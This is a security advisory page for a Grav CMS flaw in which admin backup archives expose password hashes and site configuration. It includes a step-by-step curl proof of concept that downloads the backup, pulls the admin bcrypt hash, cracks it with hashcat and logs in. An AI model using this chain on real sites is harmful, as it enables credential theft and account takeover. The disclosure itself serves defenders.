GHSA-2F86-9CP8-6HCF
Vulnerability from github – Published: 2026-06-18 14:31 – Updated: 2026-06-18 14:31Summary
An authenticated administrator with backup permissions can download a ZIP archive containing the full Grav installation root, including user/accounts/admin.yaml with the admin's bcrypt password hash and email, plus user/config/ with all site configuration. The download endpoint requires only the session-static admin-nonce in the URL, no additional form-level CSRF token, and reveals the server's full filesystem path in a Base64-encoded query parameter. Combined with the absence of login rate limiting on http://{Grav_URL}/admin, an attacker who obtains a single admin-nonce value (via Referrer leakage, browser history, or XSS) can exfiltrate password hashes for offline cracking and achieve account takeover.
Details
The vulnerability chain spans three components in the deployed Grav source tree at /var/www/html/grav/:
1. Backup archive scope — Backups::backup()
/var/www/html/grav/system/src/Grav/Common/Backup/Backups.php:201-272
The backup() static method creates a ZIP of the directory specified by the backup profile's root property. The default profile (ID 0, named default_site_backup) backs up the entire Grav root directory. On line 225, when the root is not a stream URI, it falls back to the full installation path:
// Backups.php:225
$backup_root = rtrim(GRAV_ROOT . $backup->root, DS) ?: DS;
Since the default profile ships with no root override, $backup->root is empty, making $backup_root equal to GRAV_ROOT — i.e. /var/www/html/grav/. The archive therefore captures the entire installation including:
/var/www/html/grav/user/accounts/— admin password hash, email, full name, granular permissions/var/www/html/grav/user/config/— system settings, potentially email SMTP credentials
The exclude_files and exclude_paths options on lines 232-235 are empty by default and offer no protection against including account files.
2. Backup download handler — AdminController::taskBackup()
/var/www/html/grav/user/plugins/admin/classes/plugin/AdminController.php:517-573
After creating the backup ZIP, the controller Base64-encodes the full filesystem path and embeds it directly in a download URL displayed to the admin:
// AdminController.php:558-560
$download = urlencode(base64_encode($backup));
$url = rtrim(...) . '/task' . $param_sep . 'backup/download' . $param_sep
. $download . '/admin-nonce' . $param_sep . Utils::getNonce('admin-form');
The download handler (lines 532-541) decodes the path, locates the file via the backup:// stream, and serves it with Utils::download($file, true). It performs only two checks: the filename must end in .zip and the file must actually exist. It does not verify the file belongs to the requesting user, does not enforce a form-level nonce, and does not tie the download to a specific session.
3. Nonce validation — permissive
The backup route is protected only by the admin-nonce parameter appended to the URL path. This nonce is session-static and shared across every admin page. No form-nonce is required — unlike page saves or configuration changes which demand both admin-nonce and form-nonce. This makes the backup download exploitable via a single crafted GET request from any attacker who knows the nonce value.
PoC
Prerequisites: Admin session with valid admin-nonce.
Step 1 — Authenticate and extract the session-static nonces:
# Get login page, extract login-nonce, authenticate
NONCE=$(curl -s -c /tmp/jar "http://127.0.0.1/grav/admin" \
| grep -oP 'name="login-nonce" value="\K[^"]+')
curl -s -b /tmp/jar -c /tmp/jar -X POST "http://127.0.0.1/grav/admin" \
--data-urlencode "data[username]=admin" \
--data-urlencode "data[password]=Passw0rd123!" \
--data-urlencode "task=login" \
--data-urlencode "login-nonce=${NONCE}"
# Extract the admin-nonce (same value on every admin page)
ADMIN_NONCE=$(curl -s -b /tmp/jar "http://127.0.0.1/grav/admin" \
| grep -oP 'admin-nonce[:=]\K[a-f0-9]+' | head -1)
echo "Admin nonce: $ADMIN_NONCE" # e.g. 68d6b108bc1398028365fb35ea760baf
Step 2 — Trigger a backup (single GET, no form-nonce needed):
curl -s -b /tmp/jar \
"http://127.0.0.1/grav/admin/tools/backups.json/task:backup/admin-nonce:${ADMIN_NONCE}"
Response:
{
"status": "success",
"message": "Your backup is ready for download. <a href=\"/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:68d6b108...\" class=\"button\">Download backup</a>"
}
Step 3 — Extract the Base64 download token and fetch the ZIP:
# The download path is base64("/var/www/html/grav/backup/default_site_backup--20260616122449.zip")
# This reveals the full server filesystem path.
curl -s -b /tmp/jar -o /tmp/backup.zip \
"http://127.0.0.1/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:${ADMIN_NONCE}"
Step 4 — Extract the password hash from the ZIP:
unzip -p /tmp/backup.zip "user/accounts/admin.yaml"
Output:
state: enabled
email: admin@grav.com
fullname: 'Grav Admin'
title: Administrator
access:
admin:
login: true
super: true
site:
login: true
hashed_password: $2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m
Step 5 — Crack the bcrypt hash offline:
echo '$2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m' > hash.txt
hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
Step 6 — Log in with the cracked password (no rate limit):
curl -s -b /tmp/jar -c /tmp/jar -X POST "http://127.0.0.1/grav/admin" \
--data-urlencode "data[username]=admin" \
--data-urlencode "data[password]=<cracked_password>" \
--data-urlencode "task=login" \
--data-urlencode "login-nonce=${NONCE}"
Impact
- Type: Authenticated sensitive data exposure enabling offline credential theft
- Attack surface: Any actor who can obtain admin-nonce (session fixation, reflected XSS, Referrer header leakage, browser history inspection, or proxy log access)
- Exposed data: Admin username, email, full name, granular permission structure, bcrypt password hash (
$2y$12$...), and full site configuration fromuser/config/ - Downstream risk: Offline hashcat cracking bypasses all server-side brute-force protections. With no login rate limiting (Finding 1), a cracked hash grants immediate unrestricted admin access including file modification and arbitrary code execution potential through Twig/themes
- Server path leakage: The Base64-encoded download token reveals the absolute filesystem path
/var/www/html/grav/backup/— information critical for LFI, file-write, and path traversal attacks
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.53"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55885"
],
"database_specific": {
"cwe_ids": [
"CWE-312",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T14:31:13Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nAn authenticated administrator with backup permissions can download a ZIP archive containing the full Grav installation root, including `user/accounts/admin.yaml` with the admin\u0027s bcrypt password hash and email, plus `user/config/` with all site configuration. The download endpoint requires only the session-static `admin-nonce` in the URL, no additional form-level CSRF token, and reveals the server\u0027s full filesystem path in a Base64-encoded query parameter. Combined with the absence of login rate limiting on `http://{Grav_URL}/admin`, an attacker who obtains a single admin-nonce value (via Referrer leakage, browser history, or XSS) can exfiltrate password hashes for offline cracking and achieve account takeover.\n\n### Details\nThe vulnerability chain spans three components in the deployed Grav source tree at `/var/www/html/grav/`:\n\n**1. Backup archive scope \u2014 `Backups::backup()`** \n`/var/www/html/grav/system/src/Grav/Common/Backup/Backups.php:201-272`\n\nThe `backup()` static method creates a ZIP of the directory specified by the backup profile\u0027s `root` property. The default profile (ID `0`, named `default_site_backup`) backs up the entire Grav root directory. On line 225, when the root is not a stream URI, it falls back to the full installation path:\n\n```php\n// Backups.php:225\n$backup_root = rtrim(GRAV_ROOT . $backup-\u003eroot, DS) ?: DS;\n```\n\nSince the default profile ships with no `root` override, `$backup-\u003eroot` is empty, making `$backup_root` equal to `GRAV_ROOT` \u2014 i.e. `/var/www/html/grav/`. The archive therefore captures the entire installation including:\n\n- `/var/www/html/grav/user/accounts/` \u2014 admin password hash, email, full name, granular permissions\n- `/var/www/html/grav/user/config/` \u2014 system settings, potentially email SMTP credentials\n\nThe `exclude_files` and `exclude_paths` options on lines 232-235 are empty by default and offer no protection against including account files.\n\n**2. Backup download handler \u2014 `AdminController::taskBackup()`** \n`/var/www/html/grav/user/plugins/admin/classes/plugin/AdminController.php:517-573`\n\nAfter creating the backup ZIP, the controller Base64-encodes the full filesystem path and embeds it directly in a download URL displayed to the admin:\n\n```php\n// AdminController.php:558-560\n$download = urlencode(base64_encode($backup));\n$url = rtrim(...) . \u0027/task\u0027 . $param_sep . \u0027backup/download\u0027 . $param_sep\n . $download . \u0027/admin-nonce\u0027 . $param_sep . Utils::getNonce(\u0027admin-form\u0027);\n```\n\nThe download handler (lines 532-541) decodes the path, locates the file via the `backup://` stream, and serves it with `Utils::download($file, true)`. It performs only two checks: the filename must end in `.zip` and the file must actually exist. It does **not** verify the file belongs to the requesting user, does **not** enforce a form-level nonce, and does **not** tie the download to a specific session.\n\n**3. Nonce validation \u2014 permissive** \nThe backup route is protected only by the `admin-nonce` parameter appended to the URL path. This nonce is session-static and shared across every admin page. No `form-nonce` is required \u2014 unlike page saves or configuration changes which demand both `admin-nonce` and `form-nonce`. This makes the backup download exploitable via a single crafted GET request from any attacker who knows the nonce value.\n\n### PoC\n**Prerequisites:** Admin session with valid `admin-nonce`.\n\n**Step 1 \u2014 Authenticate and extract the session-static nonces:**\n```bash\n# Get login page, extract login-nonce, authenticate\nNONCE=$(curl -s -c /tmp/jar \"http://127.0.0.1/grav/admin\" \\\n | grep -oP \u0027name=\"login-nonce\" value=\"\\K[^\"]+\u0027)\ncurl -s -b /tmp/jar -c /tmp/jar -X POST \"http://127.0.0.1/grav/admin\" \\\n --data-urlencode \"data[username]=admin\" \\\n --data-urlencode \"data[password]=Passw0rd123!\" \\\n --data-urlencode \"task=login\" \\\n --data-urlencode \"login-nonce=${NONCE}\"\n\n# Extract the admin-nonce (same value on every admin page)\nADMIN_NONCE=$(curl -s -b /tmp/jar \"http://127.0.0.1/grav/admin\" \\\n | grep -oP \u0027admin-nonce[:=]\\K[a-f0-9]+\u0027 | head -1)\necho \"Admin nonce: $ADMIN_NONCE\" # e.g. 68d6b108bc1398028365fb35ea760baf\n```\n\n**Step 2 \u2014 Trigger a backup (single GET, no form-nonce needed):**\n```bash\ncurl -s -b /tmp/jar \\\n \"http://127.0.0.1/grav/admin/tools/backups.json/task:backup/admin-nonce:${ADMIN_NONCE}\"\n```\n\nResponse:\n```json\n{\n \"status\": \"success\",\n \"message\": \"Your backup is ready for download. \u003ca href=\\\"/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:68d6b108...\\\" class=\\\"button\\\"\u003eDownload backup\u003c/a\u003e\"\n}\n```\n\n**Step 3 \u2014 Extract the Base64 download token and fetch the ZIP:**\n```bash\n# The download path is base64(\"/var/www/html/grav/backup/default_site_backup--20260616122449.zip\")\n# This reveals the full server filesystem path.\ncurl -s -b /tmp/jar -o /tmp/backup.zip \\\n \"http://127.0.0.1/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:${ADMIN_NONCE}\"\n```\n\n**Step 4 \u2014 Extract the password hash from the ZIP:**\n```bash\nunzip -p /tmp/backup.zip \"user/accounts/admin.yaml\"\n```\n\nOutput:\n```yaml\nstate: enabled\nemail: admin@grav.com\nfullname: \u0027Grav Admin\u0027\ntitle: Administrator\naccess:\n admin:\n login: true\n super: true\n site:\n login: true\nhashed_password: $2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m\n```\n\n**Step 5 \u2014 Crack the bcrypt hash offline:**\n```bash\necho \u0027$2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m\u0027 \u003e hash.txt\nhashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt\n```\n\n**Step 6 \u2014 Log in with the cracked password (no rate limit):**\n```bash\ncurl -s -b /tmp/jar -c /tmp/jar -X POST \"http://127.0.0.1/grav/admin\" \\\n --data-urlencode \"data[username]=admin\" \\\n --data-urlencode \"data[password]=\u003ccracked_password\u003e\" \\\n --data-urlencode \"task=login\" \\\n --data-urlencode \"login-nonce=${NONCE}\"\n```\n\n### Impact\n- **Type:** Authenticated sensitive data exposure enabling offline credential theft\n- **Attack surface:** Any actor who can obtain admin-nonce (session fixation, reflected XSS, Referrer header leakage, browser history inspection, or proxy log access)\n- **Exposed data:** Admin username, email, full name, granular permission structure, bcrypt password hash (`$2y$12$...`), and full site configuration from `user/config/`\n- **Downstream risk:** Offline hashcat cracking bypasses all server-side brute-force protections. With no login rate limiting (Finding 1), a cracked hash grants immediate unrestricted admin access including file modification and arbitrary code execution potential through Twig/themes\n- **Server path leakage:** The Base64-encoded download token reveals the absolute filesystem path `/var/www/html/grav/backup/` \u2014 information critical for LFI, file-write, and path traversal attacks",
"id": "GHSA-2f86-9cp8-6hcf",
"modified": "2026-06-18T14:31:13Z",
"published": "2026-06-18T14:31:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-2f86-9cp8-6hcf"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Grav: Admin Backup Zip File Exposes Account Credentials and Configuration Secrets"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.